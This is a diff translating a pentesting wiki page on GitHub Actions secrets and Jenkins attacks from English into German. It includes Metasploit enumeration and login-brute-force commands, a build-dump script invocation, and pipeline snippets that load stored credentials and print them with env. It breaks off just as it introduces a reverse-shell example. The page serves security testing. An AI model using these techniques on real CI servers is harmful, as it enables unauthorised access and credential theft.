Es ist möglich, die Verwendung von Github-Aktionen vollständig zu verbieten, **alle Github-Aktionen zuzulassen** oder nur bestimmte Aktionen zuzulassen.
|
||||
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
Es ist auch möglich zu konfigurieren, **wer die Genehmigung benötigt, um eine Github-Aktion auszuführen**, und die **Berechtigungen des GITHUB_TOKEN** einer Github-Aktion, wenn sie ausgeführt wird.
|
||||
|
||||
### Git Secrets
|
||||
### Git-Geheimnisse
|
||||
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
Github-Aktionen benötigen normalerweise eine Art von Geheimnissen, um mit Github oder Drittanbieteranwendungen zu interagieren. Um **zu vermeiden, sie im Klartext** im Repo zu speichern, erlaubt Github, sie als **Geheimnisse** zu speichern.
|
||||
|
||||
Diese Geheimnisse können **für das Repo oder für die gesamte Organisation** konfiguriert werden. Dann, damit die **Aktion auf das Geheimnis zugreifen kann**, müssen Sie es wie folgt deklarieren:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Beispiel mit Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
> Secrets **können nur von den Github Actions** zugegriffen werden, die sie deklariert haben.
|
||||
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
> Sobald sie im Repo oder in den Organisationen konfiguriert sind, **werden die Nutzer von Github nicht mehr darauf zugreifen können**, sie können sie nur **ändern**.
|
||||
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
Daher ist der **einzige Weg, Github-Secrets zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario können Sie nur auf die für die Action deklarierten Secrets zugreifen).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
### Git-Umgebungen
|
||||
|
||||
Github ermöglicht es, **Umgebungen** zu erstellen, in denen Sie **Secrets** speichern können. Dann können Sie der Github Action Zugriff auf die Secrets innerhalb der Umgebung gewähren, indem Sie etwas wie Folgendes verwenden:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
|
||||
@@ -229,11 +223,11 @@ The **branch protections of a repository** can be found in _https://github.com/\
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
|
||||
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,312 +1,290 @@
|
||||
# Jenkins Security
|
||||
# Jenkins-Sicherheit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundlegende Informationen
|
||||
|
||||
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
|
||||
Jenkins ist ein Tool, das eine unkomplizierte Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
## Unauthentifizierte Enumeration
|
||||
|
||||
Um nach interessanten Jenkins-Seiten ohne Authentifizierung zu suchen, wie (_/people_ oder _/asynchPeople_, dies listet die aktuellen Benutzer auf), können Sie Folgendes verwenden:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
|
||||
Check if you can execute commands without needing authentication:
|
||||
|
||||
Überprüfen Sie, ob Sie Befehle ausführen können, ohne sich authentifizieren zu müssen:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Ohne Anmeldeinformationen können Sie im _**/asynchPeople/**_ Pfad oder _**/securityRealm/user/admin/search/index?q=**_ nach **Benutzernamen** suchen.
|
||||
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
Sie können möglicherweise die Jenkins-Version aus dem Pfad _**/oops**_ oder _**/error**_ abrufen.
|
||||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
|
||||
.png>)
|
||||
|
||||
### Known Vulnerabilities
|
||||
### Bekannte Schwachstellen
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
{{#endref}}
|
||||
|
||||
## Login
|
||||
## Anmeldung
|
||||
|
||||
In the basic information you can check **all the ways to login inside Jenkins**:
|
||||
In den grundlegenden Informationen können Sie **alle Möglichkeiten zur Anmeldung in Jenkins** überprüfen:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Register
|
||||
### Registrierung
|
||||
|
||||
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
|
||||
Sie werden in der Lage sein, Jenkins-Instanzen zu finden, die **es Ihnen ermöglichen, ein Konto zu erstellen und sich darin anzumelden. So einfach ist das.**
|
||||
|
||||
### **SSO Login**
|
||||
### **SSO-Anmeldung**
|
||||
|
||||
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Wenn **SSO** **Funktionalität**/**Plugins** vorhanden sind, sollten Sie versuchen, sich mit einem Testkonto (d.h. einem Test-**Github/Bitbucket-Konto**) in die Anwendung einzuloggen. Trick von [**hier**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
|
||||
|
||||
**Jenkins** hat keine **Passwortrichtlinie** und keine **Maßnahmen zur Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden könnten, sogar **umgekehrte Benutzernamen als Passwörter**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### Passwort-Spraying
|
||||
|
||||
### Password spraying
|
||||
Verwenden Sie [dieses Python-Skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) oder [dieses PowerShell-Skript](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
### IP-Whitelist-Umgehung
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbstgehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen.
|
||||
|
||||
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
|
||||
Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **SCM-Plattformen**, die ihnen den Zugriff auf das **interne CI-System** über **Webhooks** ermöglichen. Es ist jedoch wichtig zu beachten, dass **jeder** ein **Konto** auf GitHub oder GitLab erstellen und es so konfigurieren kann, dass es **einen Webhook auslöst**, was potenziell Anfragen an das **interne CI-System** senden kann.
|
||||
|
||||
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
|
||||
Überprüfen Sie: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
## Interne Jenkins-Missbräuche
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
In these scenarios we are going to suppose you have a valid account to access Jenkins.
|
||||
In diesen Szenarien gehen wir davon aus, dass Sie ein gültiges Konto haben, um auf Jenkins zuzugreifen.
|
||||
|
||||
> [!WARNING]
|
||||
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
|
||||
> Abhängig von dem in Jenkins konfigurierten **Autorisierungs**-Mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.**
|
||||
|
||||
For more information check the basic information:
|
||||
Für weitere Informationen überprüfen Sie die grundlegenden Informationen:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Listing users
|
||||
### Auflisten von Benutzern
|
||||
|
||||
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
Wenn Sie auf Jenkins zugegriffen haben, können Sie andere registrierte Benutzer unter [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) auflisten.
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
### Dumpen von Builds, um Klartextgeheimnisse zu finden
|
||||
|
||||
Verwenden Sie [dieses Skript](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), um die Konsolenausgaben von Builds und Umgebungsvariablen zu dumpen, um hoffentlich Klartextgeheimnisse zu finden.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **SSH-Anmeldeinformationen stehlen**
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
|
||||
Wenn der kompromittierte Benutzer **ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern** und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er **diese Anmeldeinformationen stehlen**, indem er einen Knoten erstellt/ändert und **einen Host festlegt, der die Anmeldeinformationen aufzeichnet**, ohne den Hostschlüssel zu überprüfen:
|
||||
|
||||
.png>)
|
||||
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
|
||||
Sie finden Jenkins-SSH-Anmeldeinformationen normalerweise in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets).
|
||||
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
Einen **Shell-Zugang zum Jenkins-Server** zu erhalten, gibt dem Angreifer die Möglichkeit, alle **Geheimnisse** und **Umgebungsvariablen** zu leaken und **andere Maschinen** im selben Netzwerk zu **exploiten** oder sogar **Cloud-Anmeldeinformationen zu sammeln**.
|
||||
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
Standardmäßig wird Jenkins **als SYSTEM** ausgeführt. Das Kompromittieren von Jenkins gibt dem Angreifer **SYSTEM-Berechtigungen**.
|
||||
|
||||
### **RCE Creating/Modifying a project**
|
||||
### **RCE durch Erstellen/Ändern eines Projekts**
|
||||
|
||||
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
|
||||
Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Execute Groovy script**
|
||||
### **RCE Ausführen eines Groovy-Skripts**
|
||||
|
||||
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
|
||||
Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, was möglicherweise stealthier ist als das Erstellen eines neuen Projekts:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Creating/Modifying Pipeline
|
||||
### RCE durch Erstellen/Ändern einer Pipeline
|
||||
|
||||
You can also get **RCE by creating/modifying a pipeline**:
|
||||
Sie können auch **RCE erhalten, indem Sie eine Pipeline erstellen/ändern**:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Pipeline Exploitation
|
||||
## Pipeline-Ausnutzung
|
||||
|
||||
To exploit pipelines you still need to have access to Jenkins.
|
||||
Um Pipelines auszunutzen, müssen Sie weiterhin Zugriff auf Jenkins haben.
|
||||
|
||||
### Build Pipelines
|
||||
### Build-Pipelines
|
||||
|
||||
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
|
||||
**Pipelines** können auch als **Build-Mechanismus in Projekten** verwendet werden. In diesem Fall kann eine **Datei im Repository** konfiguriert werden, die die Pipeline-Syntax enthält. Standardmäßig wird `/Jenkinsfile` verwendet:
|
||||
|
||||
.png>)
|
||||
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** (zum Beispiel in anderen Repositories) zu speichern, um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline zu **trennen**.
|
||||
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
Wenn ein Angreifer **Schreibzugriff auf diese Datei hat**, kann er sie **ändern** und die Pipeline **potenziell auslösen**, ohne überhaupt Zugriff auf Jenkins zu haben.\
|
||||
Es ist möglich, dass der Angreifer einige **Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten sie umgangen werden oder nicht).
|
||||
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
Die häufigsten Auslöser zum Ausführen einer benutzerdefinierten Pipeline sind:
|
||||
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
- **Pull-Request** an den Hauptbranch (oder potenziell an andere Branches)
|
||||
- **Push an den Hauptbranch** (oder potenziell an andere Branches)
|
||||
- **Aktualisierung des Hauptbranches** und Warten, bis er irgendwie ausgeführt wird
|
||||
|
||||
> [!NOTE]
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
> Wenn Sie ein **externer Benutzer** sind, sollten Sie nicht erwarten, einen **PR zum Hauptbranch** des Repos eines **anderen Benutzers/Organisation** zu erstellen und **die Pipeline auszulösen**... aber wenn es **schlecht konfiguriert** ist, könnten Sie Unternehmen vollständig **kompromittieren, nur indem Sie dies ausnutzen**.
|
||||
|
||||
### Pipeline RCE
|
||||
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
|
||||
Im vorherigen RCE-Abschnitt wurde bereits eine Technik angegeben, um [**RCE durch Ändern einer Pipeline zu erhalten**](./#rce-creating-modifying-pipeline).
|
||||
|
||||
### Checking Env variables
|
||||
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
### Überprüfen von Umgebungsvariablen
|
||||
|
||||
Es ist möglich, **Klartext-Umgebungsvariablen** für die gesamte Pipeline oder für spezifische Phasen zu deklarieren. Diese Umgebungsvariablen **sollten keine sensiblen Informationen enthalten**, aber ein Angreifer könnte immer **alle Pipeline**-Konfigurationen/Jenkinsfiles überprüfen:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
|
||||
### Dumping secrets
|
||||
|
||||
For information about how are secrets usually treated by Jenkins check out the basic information:
|
||||
Für Informationen darüber, wie Geheimnisse normalerweise von Jenkins behandelt werden, siehe die grundlegenden Informationen:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
|
||||
|
||||
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
|
||||
Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) oder **spezifischen Projekten** (`/job/<project-name>/configure`) zugeordnet werden. Daher müssen Sie, um alle zu exfiltrieren, **mindestens alle Projekte** kompromittieren, die Geheimnisse enthalten, und benutzerdefinierte/vergiftete Pipelines ausführen.
|
||||
|
||||
Es gibt ein weiteres Problem: Um ein **Geheimnis innerhalb der env** einer Pipeline zu erhalten, müssen Sie **den Namen und den Typ des Geheimnisses** kennen. Wenn Sie beispielsweise versuchen, ein **`usernamePassword`** **Geheimnis** als **`string`** **Geheimnis** zu **laden**, erhalten Sie diesen **Fehler**:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
|
||||
Here you have the way to load some common secret types:
|
||||
|
||||
Hier haben Sie die Möglichkeit, einige gängige Geheimnisarten zu laden:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
}
|
||||
|
||||
# You can also load multiple env variables at once
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
}
|
||||
```
|
||||
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen** finden: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
|
||||
> Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel durch Ausführen einer Reverse-Shell im **eingebauten Knoten**) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\
|
||||
> Mehr dazu im Abschnitt [Nodes & Agents](./#nodes-and-agents) und im Abschnitt [Post Exploitation](./#post-exploitation).
|
||||
|
||||
### Triggers
|
||||
### Trigger
|
||||
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron example:
|
||||
Aus [den Dokumenten](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`.
|
||||
|
||||
Cron-Beispiel:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Überprüfen Sie **andere Beispiele in den Dokumenten**.
|
||||
|
||||
Check **other examples in the docs**.
|
||||
### Knoten & Agenten
|
||||
|
||||
### Nodes & Agents
|
||||
Eine **Jenkins-Instanz** kann **verschiedene Agenten auf verschiedenen Maschinen** haben. Aus der Perspektive eines Angreifers bedeutet der Zugriff auf verschiedene Maschinen **verschiedene potenzielle Cloud-Anmeldeinformationen**, die gestohlen werden können, oder **verschiedenen Netzwerkzugriff**, der missbraucht werden könnte, um andere Maschinen auszunutzen.
|
||||
|
||||
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
|
||||
|
||||
For more information check the basic information:
|
||||
Für weitere Informationen überprüfen Sie die grundlegenden Informationen:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den **`Built-In Node`** (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden:
|
||||
|
||||
.png>)
|
||||
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
Es ist **besonders interessant, den Built-In Node zu kompromittieren**, da er sensible Jenkins-Informationen enthält.
|
||||
|
||||
Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** **ausführen** möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Vollständiges Beispiel
|
||||
|
||||
### Complete example
|
||||
|
||||
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
|
||||
|
||||
Pipeline in einem spezifischen Agenten, mit einem Cron-Trigger, mit Pipeline- und Stage-Umgebungsvariablen, die 2 Variablen in einem Schritt laden und eine Reverse-Shell senden:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
